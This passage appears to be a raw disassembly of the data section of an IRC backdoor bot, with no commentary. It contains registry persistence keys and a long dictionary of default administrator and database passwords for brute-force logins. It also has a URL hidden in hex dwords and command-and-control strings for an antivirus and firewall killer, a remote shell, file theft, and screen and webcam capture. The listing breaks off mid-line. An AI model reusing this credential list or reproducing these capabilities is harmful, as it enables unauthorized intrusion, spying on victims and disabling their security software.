aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Bo ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o ; sub_41A19E+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o ; sub_41A19E+D4o align 10h dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429940h, 429930h, 429920h, 429914h dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h, 4298E0h dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h, 4298A8h dd 4298A4h, 42989Ch, 429898h, 0 dd offset dword_43D808 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294D4 dd 10h ; DATA XREF: sub_401ACD+AFCr ; sub_401ACD+B28r ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294C0o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B8o aMain db 'main',0 ; DATA XREF: ___:004294B4o align 10h aWinpass db 'winpass',0 ; DATA XREF: ___:004294B0o aBlank db 'blank',0 ; DATA XREF: ___:004294ACo align 10h aOffice db 'office',0 ; DATA XREF: ___:004294A8o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A4o aXp db 'xp',0 ; DATA XREF: ___:004294A0o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:0042949Co align 4 aHp db 'hp',0 ; DATA XREF: ___:00429498o align 10h aSiemens db 'siemens',0 ; DATA XREF: ___:00429494o aCompaq db 'compaq',0 ; DATA XREF: ___:00429490o align 10h aDell db 'dell',0 ; DATA XREF: ___:0042948Co align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429488o align 10h aIbm db 'ibm',0 ; DATA XREF: ___:00429484o aOrainstall db 'orainstall',0 ; DATA XREF: ___:0042947Co align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429478o align 4 aSql db 'sql',0 ; DATA XREF: ___:00429474o aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo ; ___:00429470o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:0042946Co align 4 aDb1 db 'db1',0 ; DATA XREF: ___:00429464o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429460o align 4 aData db 'data',0 ; DATA XREF: ___:0042945Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429458o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429454o align 10h aDbpass db 'dbpass',0 ; DATA XREF: ___:00429450o align 4 aAccess db 'access',0 ; DATA XREF: ___:0042944Co align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429444o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429440o align 4 aDomain db 'domain',0 ; DATA XREF: ___:0042943Co align 4 aHello db 'hello',0 ; DATA XREF: ___:00429438o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429434o align 4 aGod db 'god',0 ; DATA XREF: ___:00429430o aSex db 'sex',0 ; DATA XREF: ___:0042942Co ; ___:off_4385E8o aSlut db 'slut',0 ; DATA XREF: ___:00429428o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:00429424o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429420o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:0042941Co align 10h aBackup db 'backup',0 ; DATA XREF: ___:00429418o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429414o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429410o align 10h aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o ; ___:0042940Co align 4 aMary db 'mary',0 ; DATA XREF: ___:00429408o align 10h aKatie db 'katie',0 ; DATA XREF: ___:00429404o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293FCo align 10h aGeorge db 'george',0 ; DATA XREF: ___:004293F8o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F4o align 10h aChris db 'chris',0 ; DATA XREF: ___:004293F0o align 4 aIan db 'ian',0 ; DATA XREF: ___:004293ECo aNeil db 'neil',0 ; DATA XREF: ___:004293E8o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293E4o aBrian db 'brian',0 ; DATA XREF: ___:004293E0o align 10h aSusan db 'susan',0 ; DATA XREF: ___:004293D8o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D4o aSam db 'sam',0 ; DATA XREF: ___:004293D0o aLuke db 'luke',0 ; DATA XREF: ___:004293CCo align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C8o ; ___:004293DCo align 10h aJohn db 'john',0 ; DATA XREF: ___:004293C4o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293C0o align 10h aBill db 'bill',0 ; DATA XREF: ___:004293BCo align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B8o align 10h aJoe db 'joe',0 ; DATA XREF: ___:004293B4o aJen db 'jen',0 ; DATA XREF: ___:004293B0o aBob db 'bob',0 ; DATA XREF: ___:004293ACo ; ___:00429400o aQwe db 'qwe',0 ; DATA XREF: ___:004293A8o aZxc db 'zxc',0 ; DATA XREF: ___:004293A4o aAsd db 'asd',0 ; DATA XREF: ___:004293A0o aQaz db 'qaz',0 ; DATA XREF: ___:0042939Co aWin2000 db 'win2000',0 ; DATA XREF: ___:00429398o aWinnt db 'winnt',0 ; DATA XREF: ___:00429394o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429390o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:0042938Co align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429388o align 4 aWindows db 'windows',0 ; DATA XREF: ___:00429384o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429380o align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:0042937Co aOem db 'oem',0 ; DATA XREF: ___:00429378o aUser db 'user',0 ; DATA XREF: sub_401ACD+46D4o ; ___:00429374o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429370o align 4 aHome db 'home',0 ; DATA XREF: ___:0042936Co align 10h aAccounting db 'accounting',0 ; DATA XREF: ___:00429368o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429364o align 4 aInternet db 'internet',0 ; DATA XREF: ___:00429360o ; ___:004294BCo align 4 aWww db 'www',0 ; DATA XREF: ___:0042935Co aWeb db 'web',0 ; DATA XREF: ___:00429358o aOutlook db 'outlook',0 ; DATA XREF: ___:00429354o aMail db 'mail',0 ; DATA XREF: ___:00429350o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:0042934Co align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429348o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E90o ; ___:00429340o align 4 aSystem db 'system',0 ; DATA XREF: ___:0042933Co align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429334o align 4 aLinux db 'linux',0 ; DATA XREF: ___:00429330o align 10h aUnix db 'unix',0 ; DATA XREF: ___:0042932Co align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429328o align 10h aNone db 'none',0 ; DATA XREF: ___:00429324o align 4 aTest db 'test',0 ; DATA XREF: ___:0042931Co align 10h a2004 db '2004',0 ; DATA XREF: ___:00429318o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo ; ___:00429314o align 10h a2002 db '2002',0 ; DATA XREF: ___:00429310o align 4 a2001 db '2001',0 ; DATA XREF: ___:0042930Co align 10h a2000 db '2000',0 ; DATA XREF: ___:00429308o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429304o align 4 a123456789 db '123456789',0 ; DATA XREF: ___:00429300o align 10h a12345678 db '12345678',0 ; DATA XREF: ___:004292FCo align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F8o a123456 db '123456',0 ; DATA XREF: ___:004292F4o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292F0o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292ECo align 4 a123 db '123',0 ; DATA XREF: ___:004292E8o a12 db '12',0 ; DATA XREF: ___:004292E4o align 4 a1: ; DATA XREF: ___:004292E0o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292DCo aPwd db 'pwd',0 ; DATA XREF: ___:004292D8o aPass db 'pass',0 ; DATA XREF: ___:004292D4o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292D0o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292CCo align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C8o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C4o align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292C0o aDb2 db 'db2',0 ; DATA XREF: ___:00429468o aOracle db 'oracle',0 ; DATA XREF: ___:00429480o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429448o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429338o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429320o align 4 aWwwadmin db 'wwwadmin',0 align 10h aTeacher db 'teacher',0 ; DATA XREF: ___:004294C8o aStudent db 'student',0 ; DATA XREF: ___:004294C4o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:00429344o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294CCo align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292BCo align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B4o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292B0o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:004292ACo align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A8o align 10h aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429174o align 10h aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 10h aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 10h aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429168o align 10h a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429164o dword_4299DC dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 10h dword_429A10 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A3C db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A7C db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 10h dword_429AA0 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429ABC dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC8 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A30+7Eo dword_429AD0 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B4+EAo ... unk_429AD8 db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 10h aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o align 10h unk_429B40 db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 10h unk_429B80 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E63o align 4 unk_429BD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 10h aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E13o ; sub_401ACD+7E7Ao align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFCo align 4 asc_429C54: ; DATA XREF: sub_401ACD+7DCCo unicode 0, <~>,0 unk_429C58 db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_429CC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CEC db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h unk_429D10 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429D34 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Bo dd 2E732520h, 0 unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409685o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D7C db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h unk_429DA0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FDo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DC8 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 10h aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co unk_429DF4 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429E1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E40 db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401ACD+796Do db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_429ED0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_429F00 db 2Dh ; - ; DATA XREF: sub_401ACD+7926o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F20 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409399o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F50 db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F74 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7885o dd 27732527h, 2Eh unk_429F90 db 2Dh ; - ; DATA XREF: sub_401ACD+7803o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429FB4 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7786o dd 0 unk_429FCC db 2Dh ; - ; DATA XREF: sub_401ACD+7755o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_42A00C dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E6o dd 2Eh dword_42A024 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_409140o dd 746E6573h, 2Eh unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+766Co db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42A060 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+7630o dd 732520h unk_42A078 db 2Dh ; - ; DATA XREF: sub_401ACD+7611o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A0A4: ; DATA XREF: sub_401ACD+75F9o ; sub_40F6B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A0A8 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42A0CC db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 10h unk_42A0F0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 10h unk_42A130 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42A170 db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o align 4 unk_42A1A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F74o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42A1DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+7490o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o align 4 unk_42A244 db 2Dh ; - ; DATA XREF: sub_401ACD+740Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 unk_42A26C db 2Dh ; - ; DATA XREF: sub_401ACD+73D9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o unk_42A29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E46o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42A2D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_42A308 db 2Dh ; - ; DATA XREF: sub_401ACD+7362o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo align 4 dword_42A33C dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7319o dd 2E732520h, 0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+72D3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+72B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 10h unk_42A3B0 db 2Dh ; - ; DATA XREF: sub_401ACD+720Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 10h unk_42A3D0 db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h unk_42A3F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7181o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42A40C dd 234032Dh, 6E69616Dh, 